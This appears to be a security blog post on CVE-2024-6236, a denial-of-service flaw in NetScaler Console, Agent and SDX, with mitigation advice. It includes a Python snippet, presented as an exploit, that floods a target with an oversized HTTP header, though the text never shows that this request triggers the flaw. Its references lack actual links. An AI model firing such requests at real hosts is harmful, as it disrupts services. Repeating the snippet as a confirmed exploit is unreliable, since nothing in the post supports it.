A newly identified vulnerability indexed as CVE-2024-6236 presents a Denial of Service (DoS) risk in three major NetScaler products: Console (formerly ADM), Agent, and SDX. This vulnerability allows an attacker to crash or make the systems unresponsive, leading to temporary interruption of services. In this blog post, we will provide an in-depth analysis of the exploit and its potential impact, along with steps to mitigate the vulnerability.

Exploit Details

The CVE-2024-6236 vulnerability stems from improper input validation while processing certain requests received by the system. When exploited, it causes the NetScaler products to crash or become unresponsive, affecting availability and causing a Denial of Service.

The affected components include

1. NetScaler Console (formerly NetScaler ADM) - a centralized network management and analytics solution that simplifies operations and provides real-time analytics for application performance and security.

2. NetScaler Agent - a lightweight agent that collects and manages application delivery service metrics, providing data to assist in application delivery optimizations.

3. NetScaler SDX - an advanced, consolidated application delivery platform providing a seamless traffic management solution.

Code Snippet

The following code snippet demonstrates how an attacker might exploit the vulnerability by sending a maliciously crafted request to the affected systems:

import socket

target_IP = "192.168.1.100"
target_port = 80

# Malformed request data
malicious_request = "GET / HTTP/1.1\r\nHost: {}\r\nX-bad-header: {}\r\n\r\n".format(target_IP, "A" * 10000)

# Create a socket object, connect, send data, and close the connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_IP, target_port))
s.send(malicious_request.encode())
s.close()

Original References

The following original references provide more details and technical information about the CVE-2024-6236 vulnerability:

1. CVE Details: The comprehensive vulnerability database providing detailed information about CVE-2024-6236, including affected software versions and potential impact.

2. NetScaler Security Bulletin: The official security bulletin from NetScaler that addresses the CVE-2024-6236 vulnerability and recommends mitigation steps.

Mitigation Steps

To mitigate the Denial of Service vulnerability in NetScaler Console (formerly NetScaler ADM), NetScaler Agent, and NetScaler SDX, it is recommended to follow these steps:

1. Update to the latest version: Ensure your NetScaler products are updated to the most recent version that includes the patch for CVE-2024-6236. You can download the updates from the official NetScaler website here.

2. Apply input validation: Organizations should implement proper input validation on requests received by their systems, thus blocking any specially crafted requests by attackers.

3. Employ network-level protection: Utilizing a Web Application Firewall (WAF) can help block malicious requests that exploit CVE-2024-6236. Additionally, Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) can complement your security posture by monitoring for and blocking attacks that exploit this vulnerability.

4. Monitor for abnormal activity: Keep a close eye on your system logs and network traffic to identify any possible signs of unusual activity that may indicate an attempted exploitation of the vulnerability.

Conclusion

The Denial of Service vulnerability in NetScaler Console (formerly NetScaler ADM), NetScaler Agent, and NetScaler SDX (CVE-2024-6236) poses a significant risk to organizations utilizing these systems. It is imperative to follow the recommended mitigation steps and regularly update the software to stay protected against potential attacks and ensure continued availability of services.

Timeline

Published on: 07/10/2024 21:15:11 UTC
Last modified on: 08/01/2024 14:00:16 UTC